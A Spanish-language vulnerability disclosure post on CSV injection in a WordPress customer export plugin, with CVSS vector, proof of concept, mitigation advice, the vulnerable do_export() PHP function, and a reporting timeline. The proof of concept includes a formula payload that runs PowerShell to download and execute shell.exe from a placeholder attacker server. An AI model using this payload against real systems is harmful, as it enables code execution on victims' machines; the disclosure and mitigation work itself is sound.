Impacto

Un usuario malicioso con permisos básicos de WordPress (suscriptor) podría ejecutar comandos en el equipo del administrador a través de inyecciones CSV en los campos display_name, first_name y last_name.

CVSS v3.1 Vector

AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Calculadora de puntuación de vulnerabiliad común del NIST

Prueba de concepto (PoC)

  • #1 Iniciar sesión con cualquier usuario (suscriptor) y cambiar los campos nombre, apellido y alias por el payload 💉=cmd|’/C powershell IEX(wget [SERVIDOR-ATACANTE]/shell.exe)’!A0 (Este payload ejecuta PowerShell en la máquina del administrador para descargar y ejecutar un archivo desde un servidor malicioso).
Modificación de campos en el panel de usuario de WordPress
  • #2 Iniciar sesión con usuario administrador y exportar los usuarios mediante el uso del plugin.
  • #3 Abrir el archivo generado por el plugin, puede observarse el payload insertado en el paso #1.
Archivo CSV generado por el plugin

Mitigación

En el momento de generar el archivo CSV, verificar que ningún campo comience con los siguientes caracteres:

  • Igual (=)
  • Mas (+)
  • Menos (-)
  • Arroba (@)

Código vulnerable

La función do_export() de la clase WF_CustomerImpExpCsv_Exporter no comprueba si el primer carácter de los campos coincide con (=, +, -, @)

    public static function do_export() {
        global $wpdb;

        $export_limit = !empty($_POST['limit']) ? intval($_POST['limit']) : 999999999;
        $export_offset = !empty($_POST['offset']) ? intval($_POST['offset']) : 0;
        $csv_columns = include( 'data/data-wf-post-columns.php' );
        $user_columns_name = !empty($_POST['columns_name']) ? $_POST['columns_name'] : $csv_columns;
        $export_columns = !empty($_POST['columns']) ? $_POST['columns'] : array();
        $export_user_roles = !empty($_POST['user_roles']) ? $_POST['user_roles'] : array();
        $delimiter = !empty($_POST['delimiter']) ? $_POST['delimiter'] : ',';

        $wpdb->hide_errors();
        @set_time_limit(0);
        if (function_exists('apache_setenv'))
            @apache_setenv('no-gzip', 1);
        @ini_set('zlib.output_compression', 0);
        @ob_end_clean();

        header('Content-Type: text/csv; charset=UTF-8');
        header('Content-Disposition: attachment; filename=Customer-Export-' . date('Y_m_d_H_i_s', current_time('timestamp')) . ".csv");
        header('Pragma: no-cache');
        header('Expires: 0');

        $fp = fopen('php://output', 'w');

        $args = array(
            'fields' => 'ID', // exclude standard wp_users fields from get_users query -> get Only ID##
            'role__in' => $export_user_roles, //An array of role names. Matched users must have at least one of these roles. Default empty array.
            'number' => $export_limit, // number of users to retrieve
            'offset' => $export_offset // offset to skip from list
        );
        
        $users = get_users($args);

        // Variable to hold the CSV data we're exporting
        $row = array();

        // Export header rows
        foreach ($csv_columns as $column => $value) {
            $temp_head = esc_attr($user_columns_name[$column]);
            if (!$export_columns || in_array($column, $export_columns))
                $row[] = $temp_head;
        }

        $row = array_map('WF_CustomerImpExpCsv_Exporter::wrap_column', $row);
        fwrite($fp, implode($delimiter, $row) . "\n");
        unset($row);

        ini_set('max_execution_time', -1);
        ini_set('memory_limit', -1);
        // Loop users
        foreach ($users as $user) {
            //$row = array();   
            $data = WF_CustomerImpExpCsv_Exporter::get_customers_csv_row($user, $export_columns, $csv_columns);
            $row = array_map('WF_CustomerImpExpCsv_Exporter::wrap_column', $data);
            fwrite($fp, implode($delimiter, $row) . "\n");
            unset($row);
            unset($data);
        }

        fclose($fp);
        exit;
    }

TIME LINE

  • 15, agosto 2019 – 👨‍💻 Descubierta
  • 15, agosto 2019 – 👨‍💻 Reportado al soporte de Webtoffee
  • 16, agosto 2019 – 👨‍💼 Solicitud de más información
  • 16, agosto 2019 – 👨‍💻 Reporte detallado de vulnerabilidad
  • 19, agosto 2019 – 👨‍💼 No reconocida la vulnerabilidad
  • 22, agosto 2019 – 👨‍💻 Divulgación pública

Javier Olmedo

Consultor de Ciberseguridad e Investigador de Seguridad de Aplicaciones Web en mi tiempo libre, Técnico en Sistemas Informáticos y Técnico Superior en Desarrollo de Software, apasionado de la [In]Seguridad Informática.

1 comentario

Santo Rafael Pavon Jaime · martes, 10 septiembre, 2019 a las 19:07

quiere ayudar con un juego para poder obtener diamantes y poder avanzar gracias feliz dia

Deja tu comentario